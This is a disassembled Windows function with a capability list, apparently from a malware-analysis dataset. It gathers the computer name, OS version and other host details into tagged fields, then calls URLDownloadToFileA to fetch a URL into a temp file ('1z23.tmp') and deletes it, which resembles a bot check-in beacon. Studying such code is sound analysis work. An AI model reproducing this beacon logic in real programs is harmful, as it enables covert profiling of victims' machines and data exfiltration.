Function at 0x40140a
Capabilities:
Delete file
Download url
Get common file path
Get hostname
Receive data

Disassembly:
push 0x490
mov eax, 0x415c16
call fcn.0040b116
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x3c8]
mov dword [ebp - 0x3b0], 0xf
call fcn.004028e8
mov dword [ebp - 4], ebx
mov edi, 0xc00
lea esi, [ebp - 0x474]
mov dword [ebp - 0x46c], ebx
call fcn.0040132f
mov byte [ebp - 4], 1
mov eax, dword [0x420564]
cmp eax, ebx
je 0x40146e
cmp byte [eax], bl
je 0x40146e
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0040265b
mov eax, dword [0x42044c]
jmp 0x401474
mov al, byte [ebp - 0x46c]
cmp dword [ebp - 0x3b4], ebx
je 0x401968
test al, 1
je 0x401968
push ebx
lea ecx, [ebp - 0x3ac]
mov dword [ebp - 0x394], 0xf
call fcn.004028e8
push 0x3f
pop esi
push esi
lea eax, [ebp - 0x4f]
push ebx
mov byte [ebp - 4], 2
push eax
mov byte [ebp - 0x50], bl
call fcn.0040dc60
add esp, 0xc
push esi
lea eax, [ebp - 0x8f]
push ebx
push eax
mov byte [ebp - 0x90], bl
call fcn.0040dc60
add esp, 0xc
push 0x7f
lea eax, [ebp - 0x18f]
push ebx
push eax
mov byte [ebp - 0x190], bl
call fcn.0040dc60
add esp, 0xc
push esi
lea eax, [ebp - 0x10f]
push ebx
push eax
mov byte [ebp - 0x110], bl
call fcn.0040dc60
add esp, 0xc
push esi
lea eax, [ebp - 0xcf]
push ebx
push eax
mov byte [ebp - 0xd0], bl
call fcn.0040dc60
add esp, 0xc
push 0x420450
lea eax, [ebp - 0x480]
push eax
call section..text
mov eax, dword [eax]
lea esi, [ebp - 0x50]
mov cl, byte [eax]
inc eax
mov byte [esi], cl
inc esi
cmp cl, bl
jne 0x401529
lea esi, [ebp - 0x480]
call fcn.00401115
xor eax, eax
mov cl, byte [eax + 0x4204d0]
mov byte [ebp + eax - 0x90], cl
inc eax
cmp cl, bl
jne 0x401540
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x190]
push eax
mov dword [ebp - 0x46c], 0x40
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edi, [ebp - 0x110]
call fcn.00401182
mov esi, 0x94
push esi
lea eax, [ebp - 0x460]
push ebx
push eax
call fcn.0040dc60
add esp, 0xc
lea eax, [ebp - 0x460]
push eax
mov dword [ebp - 0x460], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push dword [ebp - 0x454]
lea eax, [ebp - 0xd0]
push dword [ebp - 0x458]
push dword [ebp - 0x45c]
push str._d._d._d
push eax
call fcn.0040938d
mov eax, dword [ebp - 0x3c4]
add esp, 0x14
cmp dword [ebp - 0x3b0], 0x10
jae 0x4015df
lea eax, [ebp - 0x3c4]
push eax
lea eax, [ebp - 0x480]
push eax
call section..text
mov byte [ebp - 4], 3
push dword [eax]
lea ecx, [ebp - 0x3ac]
call fcn.0040265b
lea esi, [ebp - 0x480]
mov byte [ebp - 4], 2
call fcn.00401115
sub esp, 0x1c
lea eax, [ebp - 0x50]
mov ecx, esp
mov dword [ebp - 0x464], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x468], esp
push str.CH
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 2
call fcn.00404a5e
add esp, 0x1c
lea eax, [ebp - 0x90]
mov ecx, esp
mov dword [ebp - 0x468], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.SH
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 2
call fcn.00404a5e
add esp, 0x1c
lea eax, [ebp - 0x190]
mov ecx, esp
mov dword [ebp - 0x468], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 6
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.PN
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 2
call fcn.00404a5e
add esp, 0x1c
lea eax, [ebp - 0x110]
mov ecx, esp
mov dword [ebp - 0x468], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 7
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.MC
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 2
call fcn.00404a5e
add esp, 0x1c
lea eax, [ebp - 0xd0]
mov ecx, esp
mov dword [ebp - 0x468], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 8
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.SS
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 2
call fcn.00404a5e
push 0x1343ca9
lea eax, [ebp - 0x49c]
push 0x417ef0
push eax
call fcn.00404b66
add esp, 0x44
mov byte [ebp - 4], 9
cmp dword [eax + 0x18], 0x10
jb 0x40176c
mov eax, dword [eax + 4]
jmp 0x40176f
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x468], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.DV
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 9
call fcn.00404a5e
add esp, 0x38
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 2
call fcn.0040267e
push edi
mov esi, 0x417efc
lea eax, [ebp - 0x49c]
push esi
push eax
call fcn.00404b66
add esp, 0xc
mov byte [ebp - 4], 0xb
cmp dword [eax + 0x18], 0x10
jb 0x4017e4
mov eax, dword [eax + 4]
jmp 0x4017e7
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x468], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.FM
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0xb
call fcn.00404a5e
add esp, 0x38
push ebx
push edi
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 2
call fcn.0040267e
push dword [ebp + 8]
lea eax, [ebp - 0x49c]
push esi
push eax
call fcn.00404b66
add esp, 0xc
mov byte [ebp - 4], 0xd
cmp dword [eax + 0x18], 0x10
jb 0x401856
mov eax, dword [eax + 4]
jmp 0x401859
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x468], esp
push eax
call fcn.0040257c
sub esp, 0x1c
mov byte [ebp - 4], 0xe
mov ecx, esp
mov dword [ebp - 0x464], esp
push str.IST
call fcn.0040257c
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0xd
call fcn.00404a5e
add esp, 0x38
push ebx
push edi
lea ecx, [ebp - 0x49c]
call fcn.0040267e
cmp dword [ebp - 0x394], 0x10
mov eax, dword [ebp - 0x3a8]
jae 0x4018b7
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x1ff
lea eax, [ebp - 0x38f]
push ebx
push eax
mov byte [ebp - 0x390], bl
call fcn.0040dc60
add esp, 0xc
lea eax, [ebp - 0x390]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp + eax - 0x390]
mov byte [ecx], bl
cmp eax, ebx
je 0x401910
cmp byte [ecx - 1], 0x5c
je 0x401910
push 0x417eb0
lea eax, [ebp - 0x390]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edi, [ebp - 0x390]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x401917
cmp dword [ebp - 0x394], 0x10
mov eax, dword [ebp - 0x3a8]
mov esi, str.1z23.tmp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jae 0x40193d
lea eax, [ebp - 0x3a8]
push ebx
push ebx
lea ecx, [ebp - 0x390]
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
lea eax, [ebp - 0x390]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 1
lea ecx, [ebp - 0x3ac]
call fcn.0040267e
lea esi, [ebp - 0x474]
call fcn.0040134e
push ebx
push 1
lea ecx, [ebp - 0x3c8]
call fcn.0040267e
call fcn.0040b160
ret